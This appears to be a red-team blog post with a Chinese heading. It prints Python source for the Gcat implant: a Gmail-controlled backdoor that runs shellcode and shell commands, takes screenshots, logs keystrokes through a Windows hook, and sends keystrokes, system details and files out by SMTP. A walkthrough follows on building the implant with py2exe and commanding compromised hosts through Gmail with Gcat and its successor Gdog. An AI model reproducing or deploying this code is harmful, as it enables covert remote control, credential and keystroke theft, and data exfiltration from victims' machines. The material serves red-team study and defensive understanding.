核心代码:客户端check job
def checkJobs():
#Here we check the inbox for queued jobs, parse them and start a thread
while True:
try:
c = imaplib.IMAP4_SSL(server)
c.login(gmail_user, gmail_pwd)
c.select("INBOX")
typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'gcat:{}')".format(uniqueid))
for msg_id in id_list[0].split():
#logging.debug("[checkJobs] parsing message with uid: {}".format(msg_id))
msg_data = c.uid('fetch', msg_id, '(RFC822)')
msg = msgparser(msg_data)
jobid = msg.subject.split(':')[2]
if msg.dict:
cmd = msg.dict['cmd'].lower()
arg = msg.dict['arg']
#logging.debug("[checkJobs] CMD: {} JOBID: {}".format(cmd, jobid))
if cmd == 'execshellcode':
execShellcode(arg, jobid)
elif cmd == 'download':
download(jobid, arg)
elif cmd == 'upload':
upload(jobid, arg, msg.attachment)
elif cmd == 'screenshot':
screenshot(jobid)
elif cmd == 'cmd':
execCmd(arg, jobid)
elif cmd == 'lockscreen':
lockScreen(jobid)
elif cmd == 'startkeylogger':
keylogger.exit = False
keylogger(jobid)
elif cmd == 'stopkeylogger':
keylogger.exit = True
elif cmd == 'forcecheckin':
sendEmail("Host checking in as requested", checkin=True)
else:
raise NotImplementedError
c.logout()
time.sleep(10)
except Exception as e:
#logging.debug(format_exc())
time.sleep(10)
if __name__ == '__main__':
sendEmail("0wn3d!", checkin=True)
try:
checkJobs()
except KeyboardInterrupt:
pass
看下任何一个c2操作如keylogger或者恶意下载都会sendmail:
class keylogger(threading.Thread):
#Stolen from http://earnestwish.com/2015/06/09/python-keyboard-hooking/
exit = False
def __init__(self, jobid):
threading.Thread.__init__(self)
self.jobid = jobid
self.daemon = True
self.hooked = None
self.keys = ''
self.start()
def installHookProc(self, pointer):
self.hooked = ctypes.windll.user32.SetWindowsHookExA(
WH_KEYBOARD_LL,
pointer,
windll.kernel32.GetModuleHandleW(None),
0
)
if not self.hooked:
return False
return True
def uninstallHookProc(self):
if self.hooked is None:
return
ctypes.windll.user32.UnhookWindowsHookEx(self.hooked)
self.hooked = None
def getFPTR(self, fn):
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
return CMPFUNC(fn)
def hookProc(self, nCode, wParam, lParam):
if wParam is not WM_KEYDOWN:
return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
self.keys += chr(lParam[0])
if len(self.keys) > 100:
sendEmail({'cmd': 'keylogger', 'res': r'{}'.format(self.keys)}, self.jobid)
self.keys = ''
if (CTRL_CODE == int(lParam[0])) or (self.exit == True):
sendEmail({'cmd': 'keylogger', 'res': 'Keylogger stopped'}, self.jobid)
self.uninstallHookProc()
return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
def startKeyLog(self):
msg = MSG()
ctypes.windll.user32.GetMessageA(ctypes.byref(msg),0,0,0)
def run(self):
pointer = self.getFPTR(self.hookProc)
if self.installHookProc(pointer):
sendEmail({'cmd': 'keylogger', 'res': 'Keylogger started'}, self.jobid)
self.startKeyLog()
class download(threading.Thread):
def __init__(self, jobid, filepath):
threading.Thread.__init__(self)
self.jobid = jobid
self.filepath = filepath
self.daemon = True
self.start()
def run(self):
try:
if os.path.exists(self.filepath) is True:
sendEmail({'cmd': 'download', 'res': 'Success'}, self.jobid, [self.filepath])
else:
sendEmail({'cmd': 'download', 'res': 'Path to file invalid'}, self.jobid)
except Exception as e:
sendEmail({'cmd': 'download', 'res': 'Failed: {}'.format(e)}, self.jobid)
class sendEmail(threading.Thread):
def __init__(self, text, jobid='', attachment=[], checkin=False):
threading.Thread.__init__(self)
self.text = text
self.jobid = jobid
self.attachment = attachment
self.checkin = checkin
self.daemon = True
self.start()
def run(self):
sub_header = uniqueid
if self.jobid:
sub_header = 'imp:{}:{}'.format(uniqueid, self.jobid)
elif self.checkin:
sub_header = 'checkin:{}'.format(uniqueid)
msg = MIMEMultipart()
msg['From'] = sub_header
msg['To'] = gmail_user
msg['Subject'] = sub_header
message_content = json.dumps({'fgwindow': detectForgroundWindows(), 'sys': getSysinfo(), 'admin': isAdmin(), 'msg': self.text})
msg.attach(MIMEText(str(message_content)))
for attach in self.attachment:
if os.path.exists(attach) == True:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
msg.attach(part)
while True:
try:
mailServer = SMTP()
mailServer.connect(server, server_port)
mailServer.starttls()
mailServer.login(gmail_user,gmail_pwd)
mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
mailServer.quit()
break
except Exception as e:
#if verbose == True: print_exc()
time.sleep(10)
Command and Control – Gmail
Gmail provides email functionality for users and businesses. This means that traffic towards Gmail servers in most of the organisations is permitted. Red team operations from the other side needs to be as stealthy as possible therefore using legitimate protocols such as ICMP and SMTP in order to execute commands to a compromised host is essential. For that purpose there are two important tools on the web Gcat and Gdog which both of them can use Gmail as a command and control server.
Gcat
Gcat is python based framework that utilizes Gmail in order to act a command and control server. The implant that is contained inside Gcat will regularly beacon with the Gmail inbox and check if there are any new messages with a campaign ID. If there are, the commands contained in these emails will be executed on the compromised host and when a new response is received this information it will be passed to the console.
In order to allow Gcat to communicate with Gmail the following settings needs to be enabled.
The Less secure apps Gmail setting needs to be turned on.
Gmail – Allow Less Secure Apps
Additionally the IMAP setting needs to be enabled as well from the Google account settings.
Gmail – IMAP Setting Enabled
The next step is to convert the implant.py file into an executable. There are various ways to achieve that but the easiest is to create a setup.py file which will contain the following code and use py2exe.
|
1
2
3
4
5
|
# setup.pyfrom distutils.core import setupimport py2exesetup(console=['implant.py']) |
Gcat – Setup File for Implant
Running python.exe with the following arguments will create the executable.
Gcat – Convert Implant to Executable
From the moment that the implant will executed on the host the attacker would be able to send commands via Gmail.
Gcat – Running Implant
The following command will list the hosts that are running the implant. Anything before the Windows-post2008Server-6.2.9200-AMD64 is the ID. This can be used in order to interact with the host and send command and also to view the output of these commands.
Gcat – Listing Compromised Hosts
Gcat gives the ability to execute CMD commands. Therefore it is possible to execute various commands in order to enumerate system information.
Gcat – Executing systeminfo Command
By specifying the job id the output of the command will be retrieved.
Gcat – System Info
The same applies for any other command like ipconfig.
Gcat – Executing CMD Commands
Gcat – IP Config
Gdog
Gdog is the successor of Gcat and it is actually the same Command and Control tool but more advanced since it can retrieve geolocation information, it has keylogger functionality, it supports encrypted communication and various other features. However it has more dependencies since it requires the following modules to be installed in order to compile the client.py file into an executable:
Installation of WMI and Enum34 can be done easily by downloading the necessary archives and running the setup.py files with the install argument.
WMI Module – Installation
Enum34 Module Installation
The same Gmail settings needs to be applied as with Gcat (IMAP & Less Secure Apps). Converting the client.py to an executable can be done with the same code as long as all the modules are successfully installed and there are no errors.
|
1
2
3
4
5
|
# setup.pyfrom distutils.core import setupimport py2exesetup(console=['client.py']) |
From the moment that the client.exe (implant) will executed on the remote host various commands can be sent through Gmail in an encrypted form.
Gdog – Encrypted Communication
The following screenshots demonstrate some of the activities that Gdog can perform:
System Information:
Gdog – System Information
Message Box:
Gdog – Message Box
Execute Commands:
Gdog – net users job
Gdog – net users
Download Files:
Gdog – Download Files
Gdog – Location of saved file
Resources
https://github.com/byt3bl33d3r/gcat
https://github.com/maldevel/gdog